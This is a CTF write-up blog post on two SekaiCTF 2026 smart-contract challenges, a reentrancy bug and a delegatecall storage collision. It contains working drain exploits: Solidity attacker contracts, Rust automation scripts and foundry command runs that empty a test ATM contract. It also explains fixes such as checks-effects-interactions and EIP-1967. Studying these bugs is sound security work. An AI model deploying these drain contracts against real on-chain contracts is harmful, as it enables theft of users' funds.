Home > Blog > SekaiCTF Blockchain
SekaiCTF Blockchain
Posted: 2026-07-01 | Author: Siddharth | Category: CTF / Blockchain
Date: 2026-07-01 | Tags: SekaiCTF, Solidity, reentrancy, delegatecall, storage collision

SekaiCTF 2026 had a two-part blockchain chain called PP Farming, and I ended up doing both back to back with lil-l3ak. Finished 33rd/926. I do DFIR mostly , WEB3 was a nice change of pace this time.

SekaiCTF 2026 scoreboard, team lil-l3ak

Scoreboard mid-event, team lil-l3ak, 33rd/926.

Both parts deploy a PerformancePointATM contract, donate ETH into a personal score, withdraw it back out later. Part one is basically a warm-up. Part two takes the exact same contract, patches the obvious bug, and hides a worse one right behind the patch, which honestly is the more interesting design decision here lol

Kept the SWC registry open the whole time too, basically a CVE database for smart contract bug classes if you haven't used it before.

Part 1: PP Farming, classic reentrancy

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract PerformancePointATM {
    mapping(address => uint256) public scores;

    constructor() payable {
    }

    function donatePP(address _to) public payable {
        scores[_to] = scores[_to] + msg.value;
    }

    function checkPP(address _who) public view returns (uint256 score) {
        return scores[_who];
    }

    function withdrawPP() public {
        uint256 score = scores[msg.sender];
        require(score > 0, "Nothing to withdraw");
        (bool result, ) = msg.sender.call{value: score}("");
        require(result, "Transfer failed");
        scores[msg.sender] = 0;
    }

    function isSolved() view public returns (bool) {
        return address(this).balance == 0;
    }

    receive() external payable {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IPerformancePointATM {
    function donatePP(address _to) external payable;
    function withdrawPP() external;
}

contract Exploit {
    IPerformancePointATM public target;
    uint256 public count;

    constructor(address _target) {
        target = IPerformancePointATM(_target);
    }

    function attack() external payable {
        require(msg.value >= 1 ether, "need 1 ether seed");
        count = 0;
        target.donatePP{value: msg.value}(address(this));
        target.withdrawPP();
    }

    receive() external payable {
        if (address(target).balance > 0 && count < 20) {
            count++;
            target.withdrawPP();
        }
    }

    function drain(address payable to) external {
        to.transfer(address(this).balance);
    }
}
// PP Farming: reentrancy exploit.
// withdrawPP sends ETH before zeroing scores[msg.sender] (SWC-107).
// Exploit::attack seeds a score then reenters withdrawPP from receive()
// until the ATM is dry.
//
// deps: ethers = { version = "2", features = ["abigen"] }, tokio = { version = "1", features = ["full"] }, eyre = "0.6"

use ethers::prelude::*;
use ethers::utils::{format_ether, parse_ether};
use eyre::Result;
use std::sync::Arc;

abigen!(
    Exploit,
    r#"[constructor(address _target) function attack() external payable function drain(address to) external]"#
);

const RPC_URL: &str = "http://REPLACE_RPC";
const PLAYER_KEY: &str = "REPLACE_PRIVKEY";
const ATM_ADDR: &str = "REPLACE_ATM";

#[tokio::main]
async fn main() -> Result<()> {
    let provider = Provider::<Http>::try_from(RPC_URL)?;
    let wallet: LocalWallet = PLAYER_KEY.parse::<LocalWallet>()?.with_chain_id(1u64);
    let client = Arc::new(SignerMiddleware::new(provider, wallet.clone()));
    let atm: Address = ATM_ADDR.parse()?;

    println!("player  {:?}", wallet.address());
    println!("balance {} ETH", format_ether(client.get_balance(wallet.address(), None).await?));
    println!("atm bal {} ETH", format_ether(client.get_balance(atm, None).await?));

    let exploit = Exploit::deploy(client.clone(), atm)?.send().await?;
    println!("exploit deployed at {:?}", exploit.address());

    exploit.attack().value(parse_ether("1")?).send().await?.await?;
    exploit.drain(wallet.address()).send().await?.await?;

    println!("atm bal now {} ETH", format_ether(client.get_balance(atm, None).await?));
    Ok(())
}

First pass on the handout: donatePP, checkPP, withdrawPP, isSolved. Only one of those moves ETH out, withdrawPP, so that's the one worth reading closely. It's a tiny bank: deposit ETH into a score for some address, withdraw it back out later. Full contract:

contract PerformancePointATM {
    mapping(address => uint256) public scores;

    function donatePP(address _to) public payable {
        scores[_to] = scores[_to] + msg.value;
    }

    function withdrawPP() public {
        uint256 score = scores[msg.sender];
        require(score > 0, "Nothing to withdraw");
        (bool result, ) = msg.sender.call{value: score}("");
        require(result, "Transfer failed");
        scores[msg.sender] = 0;
    }

    function isSolved() view public returns (bool) {
        return address(this).balance == 0;
    }

    receive() external payable {}
}

Read withdrawPP() line by line, bc this is where the bug lives:

  1. Look up how much ETH msg.sender is owed.
  2. Make sure it's more than zero.
  3. Send that ETH out with .call{value: score}("").
  4. Only after the send succeeds, set the score back to zero.

Sm things to know is that in Solidity, a .call that sends ETH to an address doesn't just move money silently. If the recipient is a smart contract, that .call actually executes code on the recipient's side before returning control back to withdrawPP(). If the recipient contract's code, running during that window, calls withdrawPP() again, the function sees the score is still nonzero (step 4 hasn't run yet) and happily sends the ETH out a second time. And a third. And so on, until the ATM's balance can't cover another payout.

Worth explaining why .call is even allowed to do this. Solidity's older transfer() and send() hard-capped the callee at 2300 gas, just enough to log an event, nowhere near enough to make another external call. That gas ceiling made reentrancy basically impossible in practice. Then EIP-1884 (Istanbul, 2019) repriced SLOAD from 200 to 800 gas, and suddenly 2300 gas wasn't enough for some completely innocent receive() functions. Contracts that only wanted to log a balance update were reverting. The community dropped transfer() and send() and moved to .call{value: x}(""), which forwards all remaining gas and never reverts on the sender's behalf. Safer for delivery, worse for reentrancy. This contract uses .call and doesn't zero the balance first, so it gets both downsides.

This bug class has a name as well : reentrancy (SWC-107), the same bug class behind the 2016 DAO hack. The fix has a name too: checks-effects-interactions (CEI). SO do your checks (require statements), then your effects (state changes like zeroing the score), and only then your interactions (external calls). This contract does checks, then interaction, then effects. Effects and interaction are swapped, and that's the bug. OpenZeppelin's ReentrancyGuard is the standard off-the-shelf fix for this in production code.

To exploit it we need a contract that, when it receives ETH, calls withdrawPP() again on every incoming transfer. Solidity's receive() fires automatically when a contract receives plain ETH with no calldata. Our hook:

contract Exploit {
    IPerformancePointATM public target;
    uint256 public count;

    constructor(address _target) {
        target = IPerformancePointATM(_target);
    }

    function attack() external payable {
        require(msg.value >= 1 ether, "need 1 ether seed");
        target.donatePP{value: msg.value}(address(this));
        target.withdrawPP();
    }

    receive() external payable {
        if (address(target).balance > 0 && count < 20) {
            count++;
            target.withdrawPP();
        }
    }

    function drain(address payable to) external {
        to.transfer(address(this).balance);
    }
}

Full call stack for a single attack() transaction:

$$ \begin{array}{@{}ll} \texttt{Exploit.attack()} \\[5pt] \hspace{0.7em}\text{├─}\ \texttt{ATM.donatePP}\ (1\ \text{ETH}) \\[5pt] \hspace{0.7em}\text{└─}\ \texttt{ATM.withdrawPP()} & \scriptstyle\leftarrow\ \texttt{scores[exploit] = 1\ ETH} \\[5pt] \hspace{2.3em}\text{└─}\ \texttt{exploit.receive()} & \scriptstyle\leftarrow\ \text{re-enters; score not zeroed yet} \\[5pt] \hspace{3.8em}\text{└─}\ \texttt{ATM.withdrawPP()} & \scriptstyle\leftarrow\ \text{sees 1 ETH again, pays out} \\[5pt] \hspace{5.3em}\text{└─}\ \texttt{exploit.receive()} \\[5pt] \hspace{6.8em}\text{└─}\ \texttt{ATM.withdrawPP()} \\[5pt] \hspace{8.3em}\vdots \\[3pt] \hspace{7.8em}\scriptstyle\text{terminates when}\ \texttt{ATM.balance} = 0 \end{array} $$

Let $B_i$ be the ATM balance after $i$ re-entrant withdrawals, $d = 1\ \text{ETH}$ the seed: $$B_0 = 10\ \text{ETH}, \quad B_{i+1} = B_i - d$$ Zero after $B_0 / d = 10$ frames. The count < 20 cap guards against hitting the EVM's call stack depth limit (1024) on a bigger target.

lets try to understand what happens now

  1. donatePP{value: msg.value}(address(this)) credits this exploit contract's own address with a score equal to whatever ETH we sent in (1 ether). Now scores[exploitContract] == 1 ether on the ATM.
  2. target.withdrawPP() makes the ATM look up our score (1 ether), then send it to us via .call.
  3. Because we're a contract and we just received plain ETH, our receive() fires automatically, before the ATM's withdrawPP() has finished running. It's still sitting on the line right after the .call, about to zero our score. But it hasn't zeroed it yet.
  4. Our receive() sees the ATM still has a balance and our re-entry counter is under the cap, so it calls target.withdrawPP() again. The ATM checks our score, still 1 ether since it was never zeroed, and pays us again.
  5. This repeats: every payout triggers receive(), which triggers another withdrawal, which triggers another payout. The count < 20 guard just stops us from looping forever once the ATM genuinely runs dry (each .call to an empty balance would revert without it, though realistically the ATM's balance hits zero and the require(score > 0) on any further stray call would fail first).

One attack() call, 10 internal withdrawals, ATM drained. Below is the live run against the instance, using foundry (forge + cast).

A "wallet" is just a keypair: a private key (secret, like a password) and a public address (like an account number, safe to share). RPC is the URL your tools use to talk to the blockchain, think of it as the server address. "Gas" is the fee you pay in ETH to get a transaction included in a block, basically a processing fee. "Deploying a contract" means uploading code to the chain, after which it lives at its own address and anyone can call its functions. Every action below either reads data off-chain for free (cast call, cast balance) or writes by sending a real transaction that costs a little gas (cast send, forge create).

Step 1, set up your environment and sanity-check the starting state. cast wallet address derives your public address from the private key the challenge gave you (never share this key outside the challenge), and cast balance just reads an account's ETH balance off the chain.

cd blockchain_pp-farming
export RPC_URL="https://eth.chals.sekai.team/<instance-id>/main"
export PK="<player private key>"
export ATM_ADDR="0x9e4b129391FC12248888f79d460Ee8Fe45405847"

PLAYER=$(cast wallet address --private-key $PK)
echo "Player: $PLAYER"
cast balance $PLAYER --rpc-url $RPC_URL --ether
cast balance $ATM_ADDR --rpc-url $RPC_URL --ether
Player: 0xC5FF8f52cc2D1889fA57e23483ba04CBFd5FD7D3
1000.000000000000000000
10.000000000000000000

The player wallet is funded with 1000 test ETH (plenty for gas and the 1 ether seed donation), and the ATM sits at 10 ETH. That 10 ETH is our target, isSolved() only flips true once the ATM's balance hits exactly zero.

Step 2, compile and deploy the exploit contract. forge build compiles every .sol file in the project and catches syntax/type errors before we spend gas. forge create then deploys a specific contract to the chain, here we deploy Exploit, passing the ATM's address as the constructor argument.

forge build
forge create --rpc-url $RPC_URL --private-key $PK --broadcast \
    src/Exploit.sol:Exploit --constructor-args $ATM_ADDR
Deployer: 0xC5FF8f52cc2D1889fA57e23483ba04CBFd5FD7D3
Deployed to: 0x140DA5fD33cCF31b89Ce8107906a4c4dACDf35D9
Transaction hash: 0x76020dd47db36d793dbea06ebc2bab197effb1a0f0248439f0eaa73a4d0747b1

Save that Deployed to address, that's our attacker contract.

Step 3, fire the attack. cast send submits a real transaction that calls a function and waits for it to be mined. We're calling attack() and attaching 1 ether via --value 1ether, which becomes msg.value inside the contract, that's the seed donation the exploit needs before it can start withdrawing.

export EXPLOIT="0x140DA5fD33cCF31b89Ce8107906a4c4dACDf35D9"
cast send $EXPLOIT 'attack()' --value 1ether --rpc-url $RPC_URL --private-key $PK
blockNumber          3
gasUsed              156830
status               1 (success)
transactionHash      0x9b98a37e80f5ea30fd915398a20f6f440252524a27b96a5dccd5fc5668a4bbd0
to                   0x140DA5fD33cCF31b89Ce8107906a4c4dACDf35D9

status 1 (success) means the whole chain of internal calls (donate, withdraw, re-enter, withdraw, re-enter, and so on) completed without reverting. All of that happened inside this single transaction; there was no need to send a separate transaction per re-entry, because reentrancy attacks unfold entirely within the call stack of one outer transaction. .

Now lets read the chain state back to prove it worked.

cast balance $ATM_ADDR --rpc-url $RPC_URL --ether
cast call $ATM_ADDR "isSolved()(bool)" --rpc-url $RPC_URL
0.000000000000000000
true

The ATM's balance went from 10 ETH to exactly 0, and isSolved() confirms it. It's a read-only view function, so cast call (not cast send) is enough since it costs no gas and changes no state.

SEKAI{3Z_re3ntr4ncy_atTack5}

BlockTx hashAction
20x76020dd4…747b1Deploy Exploit contract
30x9b98a37e…a4bbd0attack(): donate 1 ETH, recursive withdrawPP() loop, ATM 10 → 0 ETH

Part 2: PP Farming 2, the sequel patches reentrancy, not the real bug

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract PerformancePointHelper{
    uint256 id_number;
    address public atm;
    bool public helping;
    constructor() {
        id_number = 0;
        helping = true;
    }
    function processWithdrawal(address payable recipient, uint256 amount) external returns (bool) {
        (bool success, ) = recipient.call{value: amount}("");
        return success;
    }
    function setATM(address _atm) public {
        atm = _atm;
    }
    function stopHelping() public {
        helping = false;
    }
    function startHelping() public {
        helping = true;
    }
}

contract PerformancePointATM {
    mapping(address => uint256) public scores;
    address public performancePointHelper;
    bool public locked;
    constructor(address _performancePointHelper) payable {
        performancePointHelper = _performancePointHelper;
    }

    modifier noReentrancy() {
        require(!locked, "Reentrancy detected");
        locked = true;
        _;
        locked = false;
    }

    function donatePP(address _to) public payable {
        scores[_to] = scores[_to] + msg.value;
    }

    function checkPP(address _who) public view returns (uint256 score) {
        return scores[_who];
    }

    function withdrawPP() public noReentrancy {
        uint256 score = scores[msg.sender];
        require(score > 0, "Nothing to withdraw");

        // Uses delegatecall to helper for withdrawal
        (bool success, ) = performancePointHelper.delegatecall(
            abi.encodeWithSignature("processWithdrawal(address,uint256)", msg.sender, score)
        );

        require(success, "Transfer failed");
        scores[msg.sender] = 0;
    }


    function isSolved() view public returns (bool) {
        return address(this).balance == 0;
    }

    receive() external payable {}

    // Calls proxy contract
    fallback() external payable {
        address _impl = performancePointHelper;

        bytes4 selector = msg.sig;

        // Block withdrawing without proxy
        bytes4 initSelector = bytes4(keccak256("processWithdrawal(address,uint256)"));
        require(selector != initSelector, "processWithdrawal blocked");

        assembly {
            let ptr := mload(0x40) // Get free memory pointer
            calldatacopy(ptr, 0, calldatasize()) // Copy calldata to memory

            let success := delegatecall(gas(), _impl, ptr, calldatasize(), 0, 0) // Delegatecall
            returndatacopy(ptr, 0, returndatasize()) // Copy return data

            if iszero(success) {
                revert(ptr, returndatasize()) // Revert if delegatecall failed
            }
            return(ptr, returndatasize()) // Return data if successful
        }
    }
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract EvilHelper {
    // runs in ATM storage context via delegatecall
    function processWithdrawal(address payable recipient, uint256 amount) external returns (bool) {
        (bool s, ) = recipient.call{value: address(this).balance}("");
        return s;
    }
}
// PP Farming 2: storage-collision exploit via delegatecall hijack.
// PerformancePointHelper::atm and PerformancePointATM::performancePointHelper
// both sit at storage slot 1. fallback() delegatecalls anything except
// processWithdrawal into the helper, so setATM(evil) silently repoints the
// ATM's own storage. noReentrancy never fires, this isn't reentrant.
//
// deps: ethers = { version = "2", features = ["abigen"] }, tokio = { version = "1", features = ["full"] }, eyre = "0.6"

use ethers::prelude::*;
use ethers::utils::{format_ether, parse_ether};
use eyre::Result;
use std::sync::Arc;

abigen!(
    Atm,
    r#"[function donatePP(address) external payable function withdrawPP() external function isSolved() external view returns (bool) function performancePointHelper() external view returns (address) function setATM(address) external]"#
);
abigen!(EvilHelper, r#"[constructor()]"#);

const RPC_URL: &str = "http://REPLACE_RPC";
const PLAYER_KEY: &str = "REPLACE_PRIVKEY";
const ATM_ADDR: &str = "REPLACE_ATM";

#[tokio::main]
async fn main() -> Result<()> {
    let provider = Provider::<Http>::try_from(RPC_URL)?;
    let wallet: LocalWallet = PLAYER_KEY.parse::<LocalWallet>()?.with_chain_id(1u64);
    let client = Arc::new(SignerMiddleware::new(provider, wallet.clone()));
    let atm = Atm::new(ATM_ADDR.parse::<Address>()?, client.clone());

    println!("legit helper: {:?}", atm.performance_point_helper().call().await?);

    let evil = EvilHelper::deploy(client.clone(), ())?.send().await?;
    println!("evil helper deployed at {:?}", evil.address());

    atm.set_atm(evil.address()).send().await?.await?;
    println!("hijacked helper: {:?}", atm.performance_point_helper().call().await?);

    atm.donate_pp(wallet.address()).value(parse_ether("0.01")?).send().await?.await?;
    atm.withdraw_pp().send().await?.await?;

    println!("solved: {}", atm.is_solved().call().await?);
    Ok(())
}

Same as part one, diff the interface against what I alr knew before reading a single line of logic. New stuff here is that performancePointHelper, locked, a whole second contract (PerformancePointHelper), and a fallback() I didn't ask for. An unexpected catch-all handler is exactly the kind of thing that gets flagged in an incident review, it's basically a shell listener nobody remembers configuring. That's where I looked first, but let's rewind a second, because my actual first move was dumber than that.

First thing I tried was just replaying the part-one reentrancy attack against this contract. Obv it reverted with "Reentrancy detected", so that's dead, there's a noReentrancy modifier on withdrawPP() now that flips a locked boolean on entry and refuses to run again while it's set. Fine, expected ig, once I actually read the rest of the contract it was obvious they'd introduced something worse while trying to look more secure.

contract PerformancePointHelper {
    uint256 id_number;
    address public atm;
    bool public helping;

    function processWithdrawal(address payable recipient, uint256 amount) external returns (bool) {
        (bool success, ) = recipient.call{value: amount}("");
        return success;
    }
    function setATM(address _atm) public { atm = _atm; }
    function stopHelping() public { helping = false; }
    function startHelping() public { helping = true; }
}

contract PerformancePointATM {
    mapping(address => uint256) public scores;
    address public performancePointHelper;
    bool public locked;

    modifier noReentrancy() {
        require(!locked, "Reentrancy detected");
        locked = true;
        _;
        locked = false;
    }

    function withdrawPP() public noReentrancy {
        uint256 score = scores[msg.sender];
        require(score > 0, "Nothing to withdraw");
        (bool success, ) = performancePointHelper.delegatecall(
            abi.encodeWithSignature("processWithdrawal(address,uint256)", msg.sender, score)
        );
        require(success, "Transfer failed");
        scores[msg.sender] = 0;
    }

    fallback() external payable {
        address _impl = performancePointHelper;
        bytes4 selector = msg.sig;
        bytes4 initSelector = bytes4(keccak256("processWithdrawal(address,uint256)"));
        require(selector != initSelector, "processWithdrawal blocked");

        assembly {
            let ptr := mload(0x40)
            calldatacopy(ptr, 0, calldatasize())
            let success := delegatecall(gas(), _impl, ptr, calldatasize(), 0, 0)
            returndatacopy(ptr, 0, returndatasize())
            if iszero(success) { revert(ptr, returndatasize()) }
            return(ptr, returndatasize())
        }
    }
}

Two things worth nailing down before the exploit makes sense.

First, delegatecall. I remembered the gist but double-checked against the Solidity docs to be sure: a normal external call (like msg.sender.call in part one) runs the target's code in the target's own storage. delegatecall doesn't, it runs the target's code but keeps executing against the caller's storage, like the target's functions got copy-pasted straight into the caller. This is the whole mechanism behind upgradeable proxy patterns: a thin proxy holds all the state, delegates its logic to a separate implementation contract that can get swapped out later. Here, withdrawPP() uses it to hand the actual transfer off to performancePointHelper, presumably so the ATM's core logic can call out to a "trusted" payout module without duplicating the transfer code.

delegatecall addresses storage by slot number, not by variable name. Formally, given two contracts $A$ and $B$ with layouts $$A:\ \text{slot}_0 \to v_0^A,\quad \text{slot}_1 \to v_1^A,\quad \ldots$$ $$B:\ \text{slot}_0 \to v_0^B,\quad \text{slot}_1 \to v_1^B,\quad \ldots$$ a delegatecall from $A$ into $B$ that emits sstore(k, x) writes $x$ into $\text{slot}_k$ of $A$'s storage, trampling $v_k^A$ regardless of what $v_k^B$ was supposed to be. Solidity's compiler never validates that the two contracts agree on what lives at slot $k$.

This has a name: storage collision. And it has a body count. pep The Parity multisig hack in 2017 lost around $30M to this exact mechanism. Their wallet library had an initWallet() function that was supposed to be called once during setup. Because the wallet used delegatecall into the library, and because nobody protected initWallet() after the initial deploy, any stranger could call it, overwrite the owner slot in the wallet's storage, and take over. They just didn't track what slot owner landed on in both contracts.

Second, fallback(). This is the function Solidity runs when a call comes in for a selector the contract doesn't recognize. The authors used it to build a mini-proxy: any unrecognized call to the ATM gets forwarded, via delegatecall, into whatever performancePointHelper currently points at, except one selector, processWithdrawal(address,uint256), which gets explicitly blocked so nobody bypasses the score check by calling it directly. It's the same fallback + delegatecall pattern real minimal proxies use, see OpenZeppelin's Proxy.sol for what the production version looks like.

Okay, so that blocklist is exactly one selector wide. Every other function on PerformancePointHelper, setATM, stopHelping, startHelping, is still reachable straight through the ATM's fallback. But I didn't clock the actual bug until I remembered what delegatecall does to storage: it runs the helper's code against the ATM's own storage. So what does setATM(address _atm) actually write to, when it's running in that context and not its own? Hmmm

Had to pull up how Solidity lays out storage to answer that properly. State variables get storage slots in declaration order, starting from slot 0. Lined up both contracts side by side:

SlotPerformancePointATM (caller)PerformancePointHelper (callee)
0mapping scoresuint256 id_number
1address performancePointHelperaddress atm
2bool lockedbool helping

The industry answer to this is EIP-1967, which OpenZeppelin's upgradeable proxy uses. Instead of declaring the implementation address as a normal variable (which would land at some small, predictable slot number), EIP-1967 derives the slot from a hash:

bytes32 constant IMPL_SLOT =
    bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1);
    // = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc

Nothing in normal Solidity code ever declares a variable at that address. The pointer is written there directly via low-level sstore, invisible to the Solidity layout engine. For an attacker to collide with it they'd need to find a declared variable that hashes to 0x360894..., which is a Keccak-256 preimage problem. The ATM just uses address public performancePointHelper, slot 1, first-come-first-served.

So, the helper's atm variable sits at slot 1, and the ATM's own performancePointHelper pointer also sits at slot 1. Solidity storage doesn't know or care about variable names. It's just numbered slots, and delegatecall makes the callee's code write into the caller's slots. So when setATM(_atm) executes atm = _atm while delegatecalled from the ATM, it is, byte for byte, the same operation as writing to the ATM's performancePointHelper. This is a storage collision: two contracts sharing storage via delegatecall must agree on their slot layout, or writes meant for one variable land on a completely different one.

Putting it together: ATM.setATM(evilAddress) is callable by anyone, with no permission check, and it silently repoints the ATM's real performancePointHelper at whatever address we choose. From that point on, every withdrawPP() call delegatecalls into our contract instead of the legitimate helper.

So my idea was to deploy a malicious helper that ignores the amount parameter it's given and just steals everything, then use setATM to swap it in.

contract EvilHelper {
    // runs in ATM storage context via delegatecall
    function processWithdrawal(address payable recipient, uint256 amount) external returns (bool) {
        (bool s, ) = recipient.call{value: address(this).balance}("");
        return s;
    }
}

Notice address(this).balance, inside a delegatecall, this still refers to the caller (the ATM), not the contract whose code is running. So address(this).balance is the ATM's full ETH balance, and we forward all of it to recipient regardless of what the legitimate amount argument said. Also worth noting: the noReentrancy guard the challenge added is completely irrelevant to this attack. We never call withdrawPP() a second time from inside itself. We call it exactly once, normally, and it happens to delegatecall into code we control. The guard was built to stop the part-one attack; it does nothing against a hijacked delegatecall target.

Same as part one, this is a real run against the live instance,

Step 0, set up env vars and confirm the starting state. Same idea as part one: know your balances and the ATM's current wiring before touching anything. We also check performancePointHelper() and locked() up front, that's the "before" picture we're about to change.

cd blockchain_pp-farming-2
export RPC_URL="https://eth.chals.sekai.team/<instance-id>/main"
export PK="<player private key>"
export ATM_ADDR="0x71364db63C1690034a82C87271Ef4E77c356850A"

PLAYER=$(cast wallet address --private-key $PK)
echo "Player: $PLAYER"
cast balance $PLAYER --rpc-url $RPC_URL --ether
cast balance $ATM_ADDR --rpc-url $RPC_URL --ether
cast call $ATM_ADDR "performancePointHelper()(address)" --rpc-url $RPC_URL
cast call $ATM_ADDR "locked()(bool)" --rpc-url $RPC_URL
Player: 0xa12A0B56AD1A7A814180F0f984aB53F9D4071AA7
1000.000000000000000000
10.000000000000000000
0x074D594A86Fd354B09C860e0254c645aAf5A66e3
false

1000 ETH to spend on gas, ATM funded with 10 ETH just like part one, the legitimate helper is deployed at 0x074D...a66e3, and locked is false, the noReentrancy guard is currently open, as expected between transactions.

Step 1, deploy the malicious helper. Same forge create as before. The contract lands on chain at its own address but isn't wired into anything yet.

forge create --rpc-url $RPC_URL --private-key $PK --broadcast \
    src/Evil.sol:EvilHelper
Deployer: 0xa12A0B56AD1A7A814180F0f984aB53F9D4071AA7
Deployed to: 0xb77292E167831C731082e184b83b200F9Fadb21C
Transaction hash: 0xd0f28086332b9ece789eada02f106ebc973b97b7dc84667271f650e7a0a126ca

Step 2, hijack performancePointHelper via the unauthenticated fallback. Calling setATM(address) on the ATM hits no known selector, so fallback() picks it up and delegatecalls it into the helper. That write lands on slot 1 of the ATM's own storage, overwriting performancePointHelper.

export EVIL="0xb77292E167831C731082e184b83b200F9Fadb21C"
cast send $ATM_ADDR "setATM(address)" $EVIL --rpc-url $RPC_URL --private-key $PK

# verify the hijack worked
cast call $ATM_ADDR "performancePointHelper()(address)" --rpc-url $RPC_URL
status               1 (success)
transactionHash      0x663dadf5e4c6363528bb567e2b718483c06752373d8fe5b1d70a8a987d7d90e8
to                   0x71364db63C1690034a82C87271Ef4E77c356850A

0xb77292E167831C731082e184b83b200F9Fadb21C

Confirmed: performancePointHelper() now returns our EvilHelper address instead of the original 0x074D...a66e3. We did this with one plain call, no exploit contract needed, because the vulnerable write path is reachable directly through the ATM's own fallback.

Step 3, seed a nonzero score. withdrawPP() still checks require(score > 0) before doing anything, so we need sm balance recorded for our own address. A tiny donation is enough, the amount doesn't matter anymore since EvilHelper ignores it and drains everything regardless.

cast send $ATM_ADDR "donatePP(address)" $PLAYER \
    --value 0.01ether --rpc-url $RPC_URL --private-key $PK
status               1 (success)
transactionHash      0x142bb94e48f3ec719cd8407ed02ebbeaf4a1adc510e627d674a63090c12ef814

Step 4, withdraw. This is a completely ordinary call to withdrawPP(). The only difference is that performancePointHelper now points at our contract, so the delegatecall inside it runs our processWithdrawal, which drains the entire ATM balance to us instead of just our 0.01 ether score.

cast send $ATM_ADDR "withdrawPP()" --rpc-url $RPC_URL --private-key $PK

cast balance $ATM_ADDR --rpc-url $RPC_URL --ether
cast call $ATM_ADDR "isSolved()(bool)" --rpc-url $RPC_URL
status               1 (success)
transactionHash      0x3766a46689c81af98f6e787c6780fdbf3d8328d56e0cad60a758f3f19faad7e0

0.000000000000000000
true

ATM balance went from 10 ETH to exactly 0, and isSolved() returns true, the same success condition as part one, reached through a completely different bug class: not by calling withdrawPP() a hundred times, but by redirecting where its one legitimate call to delegatecall actually goes. Flag:

SEKAI{pr0xie5_4r3_h4rD_2_3t4k3}

Artifact trail, part two. This one's a better incident write-up exercise than part one, because on its own every single transaction below looks completely benign. No function reverted, no gas spike, no obviously malicious selector. The only "IOC" is the state diff on performancePointHelper between transaction 2 and transaction 3, which is invisible unless you're specifically watching that storage slot:

BlockTx hashActionState change
30xd0f28086…a126caDeploy EvilHelpernone yet, inert code on chain
40x663dadf5…d90e8setATM(evilHelper) via fallbackperformancePointHelper: 0x074D…a66e30xb772…db21C
50x142bb94e…ef814donatePP(self, 0.01 ETH)scores[self]: 0 → 0.01 ETH
60x3766a466…faad7e0withdrawPP()ATM balance: 10 → 0 ETH

The root cause here is the same shape as SWC-112, delegatecall to untrusted callee, and the classic unstructured-proxy storage collision bug class that's bitten real upgradeable-proxy deployments in production. OpenZeppelin's unstructured storage pattern exists specifically to avoid this class of bug in real proxies. Any time delegatecall crosses a contract boundary, the two storage layouts have to agree byte for byte, or whoever controls the callee's write path effectively controls the caller's state.

Takeaways

do effects before interactions, or use a reentrancy guard. Part two shows why the guard alone isn't enough. If the "safe" withdrawal path is itself a delegatecall into a swappable address, and that address is swappable through a side door with no auth, the reentrancy fix is solving the wrong problem.

Start
Blog Reading
12:00 PM